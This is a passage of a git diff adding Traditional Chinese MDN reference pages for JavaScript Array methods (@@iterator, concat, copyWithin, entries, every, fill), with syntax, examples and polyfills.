+<p><code><strong>@@iterator</strong></code> 屬性的初始值與 {{jsxref("Array.prototype.values()", "values()")}} 屬性的初始值為相同的的函式物件。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>[Symbol.iterator]()</code></pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>陣列的<strong>迭代器（iterator）</strong>函式，預設與 {{jsxref("Array.prototype.values()", "values()")}} 函式相同。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_for...of_迴圈進行迭代">使用 <code>for...of</code> 迴圈進行迭代</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+// your browser must support for..of loop
+// and let-scoped variables in for loops
+for (let letter of eArr) {
+  console.log(letter);
+}
+</pre>
+
+<h3 id="另一種迭代方式">另一種迭代方式</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.@@iterator")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/concat/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/concat/index.html
new file mode 100644
index 0000000000..c8fc9a7aca
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/concat/index.html
@@ -0,0 +1,157 @@
+---
+title: Array.prototype.concat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/concat
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>concat()</strong></code> 方法被用來合併兩個或多個陣列。此方法不會改變現有的陣列，回傳一個包含呼叫者陣列本身的值，作為代替的是回傳一個新陣列。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-concat.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <var>new_array</var> = <var>old_array</var>.concat(<var>value1</var>[, <var>value2</var>[, ...[, <var>valueN</var>]]])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value<em>N</em></code></dt>
+ <dd>陣列以及／或者值，用來合併成一個新的陣列。請參閱下方詳細資訊描述。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個新的{{jsxref("Array","陣列")}}實體。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>concat</code> 產生一個由呼叫者陣列自己的元素，以及對每一個參數按照順序，合併參數的元素（如果參數是個陣列）或者是參數自己本身（如果參數不是一個陣列）成為一個新的陣列。<code>concat</code> 方法不會遞迴巢狀陣列參數。</p>
+
+<p><code>concat</code> 方法不會改變 <code>this</code> 自己本身或是任何被提供當做參數的陣列，取而代之則是回傳一個淺層複製（shallow copy）包含了與原始的陣列中一樣的元素的副本。原始陣列的元素被複製到新的陣列的規則如下所示：</p>
+
+<ul>
+ <li>物件參考（並非為實際的物件）：<code>concat</code> 複製物件的參考至新的陣列。不管是原始的還是新的陣列都參考到相同的物件。也就是說，如果一個被參照的物件被修改了，變動會同時反映到新的以及原始的陣列中。</li>
+ <li>資料型態為字串、數值或是布林（非 {{jsxref("Global_Objects/String", "String")}}、{{jsxref("Global_Objects/Number", "Number")}} 及 {{jsxref("Global_Objects/Boolean", "Boolean")}} 物件）：<code>concat</code> 複製字串及數值的值到新的陣列。</li>
+</ul>
+
+<div class="note">
+<p><strong>備註：</strong>合併（多個）陣列／（多個）值將讓原始的陣列不會被受到影響。此外，任何對新陣列（只有在元素不是物件參考的情況下）的操作都不會影響原始的陣列，反之亦然。</p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="合併兩個陣列">合併兩個陣列</h3>
+
+<p>下面的程式碼為合併兩個陣列：</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'];
+var numeric = [1, 2, 3];
+
+alpha.concat(numeric);
+// 結果: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h3 id="合併三個陣列">合併三個陣列</h3>
+
+<p>下面的程式碼為合併三個陣列：</p>
+
+<pre class="brush: js">var num1 = [1, 2, 3],
+    num2 = [4, 5, 6],
+    num3 = [7, 8, 9];
+
+var nums = num1.concat(num2, num3);
+
+console.log(nums);
+// 結果：[1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h3 id="合併值到一個陣列">合併值到一個陣列</h3>
+
+<p>下面的程式碼為合併三個值到一個陣列中：</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'];
+
+var alphaNumeric = alpha.concat(1, [2, 3]);
+
+console.log(alphaNumeric);
+// 結果：['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h3 id="合併巢狀陣列">合併巢狀陣列</h3>
+
+<p>下面的程式碼為合併巢狀陣列，並證明保留了原本的參考（references）：</p>
+
+<pre class="brush: js">var num1 = [[1]];
+var num2 = [2, [3]];
+
+var nums = num1.concat(num2);
+
+console.log(nums);
+// results in [[1], 2, [3]]
+
+// modify the first element of num1
+num1[0].push(4);
+
+console.log(nums);
+// results in [[1, 4], 2, [3]]
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>首次定義。實作於 JavaScript 1.2。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.concat")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} — 從陣列的尾端加入/移除元素</li>
+ <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} — 從陣列的前端加入/移除元素</li>
+ <li>{{jsxref("Array.splice", "splice")}} — 從陣列特定的位置加入/移除元素</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("Symbol.isConcatSpreadable")}} – 控制扁平化</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/copywithin/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/copywithin/index.html
new file mode 100644
index 0000000000..30520215e3
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/copywithin/index.html
@@ -0,0 +1,156 @@
+---
+title: Array.prototype.copyWithin()
+slug: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>copyWithin()</strong></code> 方法會對陣列的一部分進行淺拷貝至同一陣列的另一位置並回傳此陣列，而不修改其大小。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.copyWithin(<var>target</var>)
+<var>arr</var>.copyWithin(<var>target</var>, <var>start</var>)
+<var>arr</var>.copyWithin(<var>target</var>, <var>start</var>, <var>end</var>)
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>要複製序列（sequence）至該位置的索引（起始為 0）。若為負數，<code>target</code> 將會自陣列末項開始計算。</dd>
+ <dd>假如 <code>target</code> 大於等於 <code>arr.length</code>，則沒有項目會被複製。如果 <code>target</code> 的索引在 <code>start</code> 之後，則拷貝的序列將會被修剪以符合 <code>arr.length</code>。</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>開始拷貝的起始元素索引（起始為 0）。若為負數，<code>start</code> 將會自陣列末項開始計算。</dd>
+ <dd>如果省略 <code>start</code>，<code>copyWithin</code> 將會自陣列首項開始複製（預設為 0）。</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>結束拷貝的結尾元素索引（起始為 0）。<code>copyWithin</code> 會拷貝至此索引，但不包含 <code>end</code>。若為負數，<code>end</code> 將會自陣列末項開始計算。</dd>
+ <dd>如果省略 <code>end</code>，<code>copyWithin</code> 將會一路拷貝至陣列末項（預設至 <code>arr.length</code>）。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>被修改後的陣列。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>The <code>copyWithin</code> works like C and C++'s <code>memmove</code>, and is a high-performance method to shift the data of an {{jsxref("Array")}}. This especially applies to the {{jsxref("TypedArray/copyWithin", "TypedArray")}} method of the same name. The sequence is copied and pasted as one operation; pasted sequence will have the copied values even when the copy and paste region overlap.</p>
+
+<p>The <code>copyWithin</code> function is intentionally <em>generic</em>, it does not require that its this value be an {{jsxref("Array")}} object.</p>
+
+<p>The <code>copyWithin</code> method is a mutable method. It does not alter the length of <code>this</code>, but will change its content and create new properties if necessary.</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">[1, 2, 3, 4, 5].copyWithin(-2);
+// [1, 2, 3, 1, 2]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3);
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4);
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(-2, -3, -1);
+// [1, 2, 3, 3, 4]
+
+[].copyWithin.call({length: 5, 3: 1}, 0, 3);
+// {0: 1, 3: 1, length: 5}
+
+// ES2015 Typed Arrays are subclasses of Array
+var i32a = new Int32Array([1, 2, 3, 4, 5]);
+
+i32a.copyWithin(0, 2);
+// Int32Array [3, 4, 5, 4, 5]
+
+// On platforms that are not yet ES2015 compliant:
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.copyWithin) {
+  Array.prototype.copyWithin =
+  // Array: Number[, Number[, Number]]
+  function copyWithin(target, start, stop) {
+    var positiveT = target &gt;= 0,
+        positiveS = (start = start | 0) &gt;= 0,
+        length    = this.length,
+        zero      = 0,
+        r         = function() {return ((+new Date) * Math.random()).toString(36)},
+        delimiter = "\b" + r() + "-" + r() + "-" + r() + "\b",
+        hold;
+
+    stop = stop || this.length;
+    hold = this.slice.apply(this,
+      positiveT?
+        [start, stop]:
+      positiveS?
+        [start, -target]:
+      [start])
+    .join(delimiter);
+
+    return this.splice.apply(this,
+      positiveT?
+        [target, stop - start, hold]:
+      positiveS?
+        [target, stop, hold]:
+      [target, start, hold]),
+            this.join(delimiter).split(delimiter).slice(zero, length);
+  }
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.copyWithin")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/entries/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/entries/index.html
new file mode 100644
index 0000000000..80c3f33e1f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/entries/index.html
@@ -0,0 +1,86 @@
+---
+title: Array.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Array/entries
+tags:
+  - Array
+  - ECMAScript6
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - 迭代器
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>entries()</strong></code> 方法會回傳一個包含陣列中每一個索引之鍵值對（key/value pairs）的新陣列迭代器（<code><strong>Array Iterator</strong></code>）物件。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-entries.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>a</var>.entries()</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個新的 {{jsxref("Array")}} 迭代器物件。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_for…of_進行迭代">使用 <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a> 進行迭代</h3>
+
+<pre class="brush:js">var a = ['a', 'b', 'c'];
+var iterator = a.entries();
+
+for (let e of iterator) {
+  console.log(e);
+}
+// [0, 'a']
+// [1, 'b']
+// [2, 'c']
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>首次定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.entries")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Iteration_protocols">迭代協議</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/every/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/every/index.html
new file mode 100644
index 0000000000..3c0aa59938
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/every/index.html
@@ -0,0 +1,191 @@
+---
+title: Array.prototype.every()
+slug: Web/JavaScript/Reference/Global_Objects/Array/every
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>every()</strong></code> 方法會測試陣列中的所有元素是否都通過了由給定之函式所實作的測試。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-every.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.every(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>用來測試每一個元素的函式，它包含三個引數：
+ <dl>
+  <dt><code>currentValue</code>（必要的）</dt>
+  <dd>目前正要被處理的陣列元素。</dd>
+  <dt><code>index</code>（可選的）</dt>
+  <dd>目前正要被處理的陣列元素之索引值。</dd>
+  <dt><code>array</code>（可選的）</dt>
+  <dd>呼叫 <code>every</code> 的陣列。</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>可選的。執行 <code>callback</code> 回呼函式的 <code>this</code> 值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>若回呼函式在處理每一個陣列元素時皆得到 {{Glossary("truthy")}} 值，則回傳 <code><strong>true</strong></code>。否則，回傳值為 <code><strong>false</strong></code>。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>The <code>every</code> method executes the provided <code>callback</code> function once for each element present in the array until it finds one where <code>callback</code> returns a {{Glossary("falsy")}} value. If such an element is found, the <code>every</code> method immediately returns <code>false</code>. Otherwise, if <code>callback</code> returns a {{Glossary("truthy")}} value for all elements, <code>every</code> returns <code>true</code>. <code>callback</code> is invoked only for indexes of the array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values.</p>
+
+<p><code>callback</code> is invoked with three arguments: the value of the element, the index of the element, and the Array object being traversed.</p>
+
+<p>If a <code>thisArg</code> parameter is provided to <code>every</code>, it will be used as callback's <code>this</code> value. Otherwise, the value <code>undefined</code> will be used as its <code>this</code> value.  The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p>
+
+<p><code>every</code> does not mutate the array on which it is called.</p>
+
+<p>The range of elements processed by <code>every</code> is set before the first invocation of <code>callback</code>. Elements which are appended to the array after the call to <code>every</code> begins will not be visited by <code>callback</code>. If existing elements of the array are changed, their value as passed to <code>callback</code> will be the value at the time <code>every</code> visits them; elements that are deleted are not visited.</p>
+
+<p><code>every</code> acts like the "for all" quantifier in mathematics. In particular, for an empty array, it returns true. (It is <a href="http://en.wikipedia.org/wiki/Vacuous_truth#Vacuous_truths_in_mathematics">vacuously true</a> that all elements of the <a href="http://en.wikipedia.org/wiki/Empty_set#Common_problems">empty set</a> satisfy any given condition.)</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Testing_size_of_all_array_elements">Testing size of all array elements</h3>
+
+<p>The following example tests whether all elements in the array are bigger than 10.</p>
+
+<pre class="brush: js">function isBigEnough(element, index, array) {
+  return element &gt;= 10;
+}
+[12, 5, 8, 130, 44].every(isBigEnough);   // false
+[12, 54, 18, 130, 44].every(isBigEnough); // true
+</pre>
+
+<h3 id="Using_arrow_functions">Using arrow functions</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a> provide a shorter syntax for the same test.</p>
+
+<pre class="brush: js">[12, 5, 8, 130, 44].every(x =&gt; x &gt;= 10); // false
+[12, 54, 18, 130, 44].every(x =&gt; x &gt;= 10); // true</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>every</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>every</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming <code>Object</code> and <code>TypeError</code> have their original values and that <code>callbackfn.call</code> evaluates to the original value of {{jsxref("Function.prototype.call")}}</p>
+
+<pre class="brush: js">if (!Array.prototype.every) {
+  Array.prototype.every = function(callbackfn, thisArg) {
+    'use strict';
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling ToObject passing the this
+    //    value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get internal method
+    //    of O with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If IsCallable(callbackfn) is false, throw a TypeError exception.
+    if (typeof callbackfn !== 'function') {
+      throw new TypeError();
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Let k be 0.
+    k = 0;
+
+    // 7. Repeat, while k &lt; len
+    while (k &lt; len) {
+
+      var kValue;
+
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the HasProperty internal
+      //    method of O with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal method
+        //    of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Let testResult be the result of calling the Call internal method
+        //     of callbackfn with T as the this value and argument list
+        //     containing kValue, k, and O.
+        var testResult = callbackfn.call(T, kValue, k, O);
+
+        // iii. If ToBoolean(testResult) is false, return false.
+        if (!testResult) {
+          return false;
+        }
+      }
+      k++;
+    }
+    return true;
+  };
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.every")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/fill/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/fill/index.html
new file mode 100644
index 0000000000..1a7d0f9f24
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/fill/index.html
@@ -0,0 +1,156 @@
+---
+title: Array.prototype.fill()
+slug: Web/JavaScript/Reference/Global_Objects/Array/fill
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - 原型
+  - 填充工具
+  - 方法
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>fill()</strong></code> 方法會將陣列中索引的第一個到最後一個的每個位置全部填入一個靜態的值。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-fill.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.fill(<var>value[</var>, <var>start[<var>, <var>end]]</var>)</var></var>
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>欲填入陣列的值。</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>起始的索引值，預設為 0。</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>結束的索引值，預設為 <code>this.length</code>（即陣列的長度）。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>修改後的陣列。</p>
+
+<h2 id="說明">說明</h2>
+
+<p>要填入的元素區間為 [<code>start</code>, <code>end</code>)，意即包含 <code>start</code> 但不包含 <code>end</code>。</p>
+
+<p><strong><code>fill</code></strong> 方法採用了三個傳入引數（arguments），分別為<code>value</code>、<code>start</code> 及 <code>end</code>。<code>start</code> 和 <code>end</code> 為可選引數，其預設值分別為 <code>0</code> 和 <code>this</code> 物件（該陣列）的 <code>length</code>。</p>
+
+<p>若 <code>start</code> 為負數，則此方法會將其換算成 <code>length+start</code>，<code>length</code> 即該陣列的長度。同理，若 <code>end</code> 為負數，其會被換算成 <code>length+end</code>。</p>
+
+<p><strong><code>fill</code></strong> 函式刻意地被設計成通用的函式，它不需要 <code>this</code> 物件一定是一個陣列物件。此外，它是可變動的（mutable）方法，意即會修改 <code>this</code> 物件本身並回傳，而非只是回傳拷貝。</p>
+
+<p>當 <strong><code>fill</code></strong> 方法獲得一個傳入的物件，會將傳入的物件位置進行複製，並把其參考值（reference）之拷貝填入陣列中。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">[1, 2, 3].fill(4);               // [4, 4, 4]
+[1, 2, 3].fill(4, 1);            // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2);         // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1);         // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 3);         // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2);       // [4, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN);     // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 5);         // [1, 2, 3]
+Array(3).fill(4);                // [4, 4, 4]
+[].fill.call({ length: 3 }, 4);  // {0: 4, 1: 4, 2: 4, length: 3}
+
+// Objects by reference.
+var arr = Array(3).fill({}) // [{}, {}, {}];
+arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.fill) {
+  Object.defineProperty(Array.prototype, 'fill', {
+    value: function(value) {
+
+      // 步驟 1 - 2。
+       if (this == null) {
+        throw new TypeError('this is null or not defined');
+      }
+
+      var O = Object(this);
+
+      // 步驟 3 - 5。
+      var len = O.length &gt;&gt;&gt; 0;
+
+      // 步驟 6 - 7。
+      var start = arguments[1];
+      var relativeStart = start &gt;&gt; 0;
+
+      // 步驟 8。
+      var k = relativeStart &lt; 0 ?
+        Math.max(len + relativeStart, 0) :
+        Math.min(relativeStart, len);
+
+      // 步驟 9 - 10。
+      var end = arguments[2];
+      var relativeEnd = end === undefined ?
+        len : end &gt;&gt; 0;
+
+      // 步驟 11。
+      var final = relativeEnd &lt; 0 ?
+        Math.max(len + relativeEnd, 0) :
+        Math.min(relativeEnd, len);
+
+      // 步驟 12。
+      while (k &lt; final) {
+        O[k] = value;
+        k++;
+      }
+
+      // 步驟 13。
+      return O;
+    }
+  });
+}
+</pre>
+
+<p>如果你需要支援實際上棄用的 JavaScript 引擎且其不支援 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code> 的話，最好不要採用上述的工具來填充方法至 <code>Array.prototype</code>，因為你不能將這個方法設定為不可列舉（non-enumerable）的屬性。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>初次定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.fill")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
